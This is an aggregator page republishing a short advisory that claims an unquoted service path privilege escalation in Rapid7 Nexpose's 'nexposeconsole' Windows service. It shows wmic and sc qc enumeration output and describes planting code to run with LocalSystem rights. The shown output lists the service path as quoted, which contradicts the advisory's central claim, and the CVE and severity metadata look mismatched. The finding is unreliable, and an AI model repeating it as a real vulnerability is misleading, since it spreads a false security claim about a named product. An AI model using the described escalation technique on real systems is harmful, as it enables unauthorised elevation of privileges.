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Rapid7 nexpose vulnerability management software - 'nexposeconsole' Unquoted Service Path

CVE Category Price Severity
CVE-2020-16977 CWE-428 $2500 Critical
Author Risk Exploitation Type Date
Vullnerability Research High Local 2024-04-01
CPE
cpe:2.3:a:rapid7:nexpose:6.6.0.2758:*:*:*:*:*:*:*
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 0.78338 0.930849

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024040005

Below is a copy:

Rapid7 nexpose vulnerability management software - 'nexposeconsole' Unquoted Service Path
# Exploit Title: Rapid7 nexpose vulnerability management software - 'nexposeconsole' Unquoted Service Path
# Date: 2024-03-31
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.rapid7.com/
# Software Link: https://www.rapid7.com/products/nexpose/
# Version: 6.6.240
# Tested: Windows 10 x64
# Contact: https://twitter.com/dmaral3noz


# Step to discover Unquoted Service Path:

C:\Users\saudh>wmic service where 'name like "%nexposeconsole%"' get name, displayname, pathname, startmode, startname

DisplayName               Name            PathName                                                 StartMode  StartName 
Nexpose Security Console  nexposeconsole  "C:\Program Files\rapid7\nexpose\nsc\bin\nexlaunch.exe"  Auto       LocalSystem

# Service info:

C:\Users\saudh>sc qc nexposeconsole
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: nexposeconsole
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : "C:\Program Files\rapid7\nexpose\nsc\bin\nexlaunch.exe"
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Nexpose Security Console
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem


#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.

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